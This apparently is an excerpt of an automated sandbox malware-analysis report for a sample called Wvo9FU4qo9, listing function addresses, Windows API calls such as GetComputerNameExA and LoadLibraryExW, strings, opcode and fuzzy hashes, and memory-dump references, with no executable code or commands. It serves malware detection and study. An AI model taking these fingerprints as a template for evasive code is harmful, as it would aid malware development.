Instruction Fuzzy Hash: 84B16732B083548BD728CE28DCE12BBB792EBC5314F19C53DDA9657396CA399C05C786

Function 004BE687 Relevance: 1.6, Strings: 1, Instructions: 340COMMON

Download Yara Rule

Strings

1CBA6A96CA1EFF19BEBA0C6A975F1733, xrefs: 004BE770, 004BE8FE

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: 1CBA6A96CA1EFF19BEBA0C6A975F1733
API String ID: 0-1832496249
Opcode ID: 5e5f4b039b1282f04adf00888c66dc96e1a5d627c536aeaf014b0a5723098ee4
Instruction ID: 63b00c3de077a22848b22845ce71bdea791fb14cb3f1395732befca408ece338
Opcode Fuzzy Hash: 5e5f4b039b1282f04adf00888c66dc96e1a5d627c536aeaf014b0a5723098ee4
Instruction Fuzzy Hash: 71814975640B418BD7248B39CC926E7B7E2EFDA315F0DC96CC4868B343E63CA8028764

Function 004EE110 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004F148A,?,00000018,?,?,00000018,?,?,?), ref: 004EE13E

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 004D7440 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

_^]\, xrefs: 004D7465

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: a68949f45d9075f89886523fa0a146aa1b333c8790c1d13e66288449581b447a
Instruction ID: 7b78b87ef585aa4edb5598b7db3783119b5fccdd0919511e991cf1b1b61e557b
Opcode Fuzzy Hash: a68949f45d9075f89886523fa0a146aa1b333c8790c1d13e66288449581b447a
Instruction Fuzzy Hash: 6A7117B5A083005BE7149A29DCA2B7B76A1DF81318F18853FE58687392F27CDC05875E

Function 004F1720 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

=<32, xrefs: 004F176D

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeThunk
String ID: =<32
API String ID: 2994545307-852023076
Opcode ID: 4261909d922e4fa2d0c2ab73f33e79b947ee097a540ab653f4f8889b81c067d3
Instruction ID: de1bed899ce972c62c885b5e470c9605f54d36e4a64301fd0a982d3a09de542c
Opcode Fuzzy Hash: 4261909d922e4fa2d0c2ab73f33e79b947ee097a540ab653f4f8889b81c067d3
Instruction Fuzzy Hash: 29316838608308DBE714AA159D91B3BB795EB84790F18852EE789973B0D739EC50878A

Function 004D1A10 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

,-, xrefs: 004D1A64

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: ,-
API String ID: 0-1027024164
Opcode ID: 1b3fdfd862590b07dd8bed928fdddd6e01530f74772694eafdb147a9ed14197c
Instruction ID: 9a7d217f6a62e34135bf324619a83c8db213d26ea99d2d73260c7f4776fd9a0d
Opcode Fuzzy Hash: 1b3fdfd862590b07dd8bed928fdddd6e01530f74772694eafdb147a9ed14197c
Instruction Fuzzy Hash: DE2167A1A153109BC7109F29CC62537B7B1EF82364F45861FE8828B361F338CD05C7AA

Function 004F0340 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 004F03AD

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 9616ea72f6443b18c06c3bfad8f864893d76e17fd4f996b22653e2c81c5b4a4a
Instruction ID: 41d1bb8d2466b5d0f95f55bde1fd108c34e0252f96e1d4fcb65dbc32e0416686
Opcode Fuzzy Hash: 9616ea72f6443b18c06c3bfad8f864893d76e17fd4f996b22653e2c81c5b4a4a
Instruction Fuzzy Hash: 5031FF755083088BD714DF58D8C267FBBE4EBC5324F14892DEA9883391D339D848CB9A

Function 004F0460 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 39dd1d21955a23c6544b092c51cd6c4d6b31326a1f7ac9aff9d761a375eb731f
Instruction ID: 472865145182a5877d3eb21e260898bd3ad0bfa495d93f6b18632aed5d45cb43
Opcode Fuzzy Hash: 39dd1d21955a23c6544b092c51cd6c4d6b31326a1f7ac9aff9d761a375eb731f
Instruction Fuzzy Hash: A76115756043059BE7159F18C89063FB3A2EBC5721F19C52EEA858B392EB34DC61C78A

Function 004EC5A0 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7585b9a370682364327b3b2ad62e50d7421f7287adc1e8a9ee05326858020959
Instruction ID: bc7061f09cb5698a53480c37830fd05db046e83f9d9bebb3e8b540cdd440112b
Opcode Fuzzy Hash: 7585b9a370682364327b3b2ad62e50d7421f7287adc1e8a9ee05326858020959
Instruction Fuzzy Hash: 9C518BB1A083454BD718AF2AC88063FBBD2ABD5311F19C93EE4D587391E6359C12CB89

Function 004BCC7A Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: edc7880480af47d407fde51a6c5e5c454170e2478d6b551bd50ea4f886be26ab
Instruction ID: 4b737a7ceb989c2a83331d1afa1066a3f279450a83adde2391a874455532bf86
Opcode Fuzzy Hash: edc7880480af47d407fde51a6c5e5c454170e2478d6b551bd50ea4f886be26ab
Instruction Fuzzy Hash: 9631E6E9F001405BE9057A3368A3ABF615B4BD171CF08142EF50A26383ED6DB91695AF

Function 004B8A50 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction ID: e45b450e8ddfff6189c4ab76d4d24a620daaf16e827674e15212a69d3e6124d1
Opcode Fuzzy Hash: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction Fuzzy Hash: E421C537A627184BD3108E54DCC87917765E7D9328F3E86B8C9249F3D2C97BA91386C0

Function 004B9D1E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000), ref: 004B9D98
LoadLibraryExW.KERNEL32(?,00000000), ref: 004B9E78

Strings

CKT, xrefs: 004B9E85

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: LibraryLoad
String ID: CKT
API String ID: 1029625771-4061587880
Opcode ID: 620d0e6b3f78addb9619954eb89257dcbcce22e62936c04f925a68af00c9eb1d
Instruction ID: 0f9ae2bf61728c63f04045a6e03aca7e3e0a45b2c95fcbab013fd664ad643304
Opcode Fuzzy Hash: 620d0e6b3f78addb9619954eb89257dcbcce22e62936c04f925a68af00c9eb1d
Instruction Fuzzy Hash: 114122B4E003409FE7149F789CC2A9A7F71EB06324F41429DD5902F3A2C735981ACBE6

Function 004DD7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 004DD898
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 004DDC43

Strings

;87>, xrefs: 004DDBEB

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: ;87>
API String ID: 2904949787-2104535307
Opcode ID: 5478ef7aafba6170909120c87e3116d163d36667f48b76bb8387532618e3bd1a
Instruction ID: c862fbd13ef4e6f9cee61cde70790ce1e30824ad1029295e524e4dfc77b144ef
Opcode Fuzzy Hash: 5478ef7aafba6170909120c87e3116d163d36667f48b76bb8387532618e3bd1a
Instruction Fuzzy Hash: AA2128B05047428FDB228F39D860737BFE1AF57301F18869BD4D68B396D6389842DB55

Function 004BEF53 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 004BF09C

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 28aff14a93824c79bde764227b453e28f9b292fb9ab2687a2285f1cdc2b9c082
Instruction ID: 99d7317ef2951d05865d9eabd0c2a01c1f1f8c5d286c391923e65c8d7a38400a
Opcode Fuzzy Hash: 28aff14a93824c79bde764227b453e28f9b292fb9ab2687a2285f1cdc2b9c082
Instruction Fuzzy Hash: FC41C6B4910B40AFD370EF39990B7137EB8AB05250F504B1EF9EA866D4E331A4198BD7

Function 004DD7BD Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 004DDD03

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 9102c8a6178a0e308f35f2635c14df3e974f0d088f42e3b9e06d3b40335b4fd2
Instruction ID: dcf86b7e599393755a3e04437d579d221ecd9a40e34c3b56bacf3a16d6bf0ced
Opcode Fuzzy Hash: 9102c8a6178a0e308f35f2635c14df3e974f0d088f42e3b9e06d3b40335b4fd2
